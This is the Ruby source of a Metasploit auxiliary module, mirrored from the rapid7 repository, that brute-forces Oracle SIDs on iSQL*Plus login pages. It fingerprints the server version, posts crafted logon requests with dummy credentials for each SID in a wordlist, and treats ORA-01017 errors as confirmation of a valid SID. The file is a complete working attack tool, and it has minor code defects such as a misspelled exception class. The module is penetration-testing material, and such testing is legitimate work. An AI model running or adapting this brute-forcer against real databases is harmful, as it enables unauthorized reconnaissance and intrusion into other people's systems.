Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Scanner
9
include Msf::Auxiliary::AuthBrute
10
include Msf::Auxiliary::Report
11
12
def initialize
13
super(
14
'Name' => 'Oracle iSQLPlus SID Check',
15
'Description' => %q{
16
This module attempts to bruteforce the SID on the Oracle application server iSQL*Plus
17
login pages. It does this by testing Oracle error responses returned in the HTTP response.
18
Incorrect username/pass with a correct SID will produce an Oracle ORA-01017 error.
19
Works against Oracle 9.2, 10.1 & 10.2 iSQL*Plus. This module will attempt to
20
fingerprint the version and automatically select the correct POST request.
21
},
22
'References' => [
23
[ 'URL', 'https://blog.carnal0wnage.com/' ],
24
],
25
'Author' => [ 'CG', 'todb' ],
26
'License' => MSF_LICENSE
27
)
28
29
register_options([
30
Opt::RPORT(5560),
31
OptString.new('URI', [ true, 'Oracle iSQLPlus path', '/isqlplus/']),
32
OptString.new('SID', [ false, 'A single SID to test']),
33
OptPath.new('SIDFILE', [ false, 'A file containing a list of SIDs', File.join(Msf::Config.install_root, 'data', 'wordlists', 'sid.txt')]),
34
OptInt.new('TIMEOUT', [false, 'Time to wait for HTTP responses', 30])
35
])
36
37
deregister_options(
38
"RHOST", "USERNAME", "PASSWORD", "USER_FILE", "PASS_FILE", "USERPASS_FILE",
39
"BLANK_PASSWORDS", "USER_AS_PASS", "REMOVE_USER_FILE", "REMOVE_PASS_FILE",
40
"BRUTEFORCE_SPEED" # Slow as heck anyway
41
)
42
end
43
44
def sid_file
45
datastore['SIDFILE']
46
end
47
48
def hostport
49
[target_host, rport].join(":")
50
end
51
52
def uri
53
datastore['URI'] || "/isqlplus/"
54
end
55
56
def timeout
57
(datastore['TIMEOUT'] || 30).to_i
58
end
59
60
def msg
61
msg = "#{hostport} - Oracle iSQL*Plus -"
62
end
63
64
def run_host(ip)
65
oracle_ver = get_oracle_version(ip)
66
if not check_oracle_version(oracle_ver)
67
print_error "#{msg} Unknown Oracle version, skipping."
68
return
69
end
70
begin
71
print_status("#{msg} Starting SID check")
72
sid_data.each do |sid|
73
guess = check_oracle_sid(ip, oracle_ver, sid)
74
return if guess and datastore['STOP_ON_SUCCESS']
75
end
76
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
77
print_error "#{msg} Cannot connect"
78
rescue ::Timeout::Error, ::Errno::EPIPE, Errno::ECONNRESET => e
79
print_error e.message
80
end
81
end
82
83
def get_oracle_version(ip)
84
begin
85
res = send_request_cgi({
86
'version' => '1.1',
87
'uri' => uri,
88
'method' => 'GET',
89
}, timeout)
90
oracle_ver = nil
91
if (res.nil?)
92
print_error("#{msg} no response")
93
elsif (res.code == 200)
94
print_status("#{msg} Received an HTTP #{res.code}")
95
oracle_ver = detect_oracle_version(res)
96
elsif (res.code == 404)
97
print_error("#{msg} Received an HTTP 404, check URIPATH")
98
elsif (res.code == 302)
99
print_error("#{msg} Received an HTTP 302 to #{res.headers['Location']}")
100
else
101
print_error("#{msg} Received an HTTP #{res.code}")
102
end
103
return oracle_ver
104
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
105
print_error "#{msg} Cannot connect"
106
end
107
end
108
109
def detect_oracle_version(res)
110
m = res.body.match(/iSQL\*Plus Release (9\.0|9\.1|9\.2|10\.1|10\.2)/)
111
oracle_ver = nil
112
oracle_ver = 10 if m[1] && m[1] =~ /10/
113
oracle_ver = m[1].to_f if m[1] && m[1] =~ /9\.[012]/
114
if oracle_ver
115
print_status("#{msg} Detected Oracle version #{oracle_ver}")
116
print_status("#{msg} SID detection for iSQL*Plus 10.1 may be unreliable") if oracle_ver == 10.1
117
else
118
print_error("#{msg} Unknown Oracle version detected.")
119
end
120
return oracle_ver
121
end
122
123
def check_oracle_version(ver)
124
[9.0, 9.1, 9.2, 10].include? ver
125
end
126
127
def build_post_request(ver, sid)
128
post_request = nil
129
case ver
130
when 9.0
131
post_request = "action=logon&sqlcmd=&sqlparms=&username=scott&password=tiger&sid=#{sid.strip}&privilege=&Log+In=%B5%C7%C2%BC"
132
when 9.1
133
post_request = "action=logon&username=a&password=a&sid=#{sid.strip}&login=Login"
134
when 9.2
135
post_request = "action=logon&username=a&password=a&sid=#{sid.strip}&login=Login"
136
when 10
137
post_request = "username=a&password=a&connectID=#{sid.strip}&report=&script=&dynamic=&type=&action=&variables=&event=login"
138
end
139
return post_request
140
end
141
142
def parse_isqlplus_response(res, sid)
143
guess = false
144
if (res.nil?)
145
print_error("#{msg} No response")
146
elsif (res.code == 200)
147
if (res.body =~ /ORA-01017:/ or res.body =~ /ORA-28273:/)
148
if sid.nil? || sid.empty?
149
print_good("#{msg} Received ORA-01017 on a blank SID -- SIDs are not enforced upon login.")
150
else
151
print_good("#{msg} Received ORA-01017, probable correct SID '#{sid.strip}'")
152
end
153
guess = true
154
elsif (res.body =~ /(ORA-12170):/ or res.body =~ /(ORA-12154):/ or res.body =~ /(ORA-12162):/)
155
vprint_status("#{msg} Incorrect SID: '#{sid.strip}' (got error code #{$1})")
156
elsif res.body =~ /(ORA-12541):/
157
print_status("#{msg} Possible correct SID, but got ORA-12541: No Listener error.")
158
guess = true
159
else
160
print_status("#{msg} Received an unknown error") # Should say what the error was
161
end
162
elsif (res.code == 404)
163
print_status("#{msg} Received an HTTP 404, check URIPATH")
164
elsif (res.code == 302)
165
print_status("#{msg} Received an HTTP 302 redirect to #{res.headers['Location']}")
166
else
167
print_status("#{msg} Received an unexpected response: #{res.code}")
168
end
169
170
report_isqlplus_service(target_host, res) if res
171
return guess
172
end
173
174
def report_isqlplus_service(ip, res)
175
sname = datastore['SSL'] ? 'https' : 'http'
176
report_service(
177
:host => ip,
178
:proto => 'tcp',
179
:port => rport,
180
:name => sname,
181
:info => res.headers["Server"].to_s.strip
182
)
183
end
184
185
def report_oracle_sid(ip, sid)
186
report_note(
187
:host => ip,
188
:proto => 'tcp',
189
:port => rport,
190
:type => "oracle.sid",
191
:data => ((sid.nil? || sid.empty?) ? "*BLANK*" : sid),
192
:update => :unique_data
193
)
194
end
195
196
def sid_data
197
if datastore['SID'] and not datastore['SID'].empty?
198
[datastore['SID']]
199
elsif sid_file and ::File.readable? sid_file
200
::File.open(sid_file, "rb") { |f| f.read f.stat.size }.each_line.map { |x| x.strip.upcase }.uniq
201
else
202
raise ArugmentError, "Cannot read file '#{sid_file}'"
203
end
204
end
205
206
def check_oracle_sid(ip, oracle_ver, sid)
207
post_request = build_post_request(oracle_ver, sid)
208
vprint_status "#{msg} Trying SID '#{sid}', waiting for response..."
209
res = send_request_cgi({
210
'version' => '1.1',
211
'uri' => uri,
212
'method' => 'POST',
213
'data' => post_request,
214
'headers' =>
215
{
216
'Referer' => "http://#{ip}:#{rport}#{uri}"
217
}
218
}, timeout)
219
guess = parse_isqlplus_response(res, sid)
220
report_oracle_sid(ip, sid) if guess
221
return guess
222
end
223
end
224
225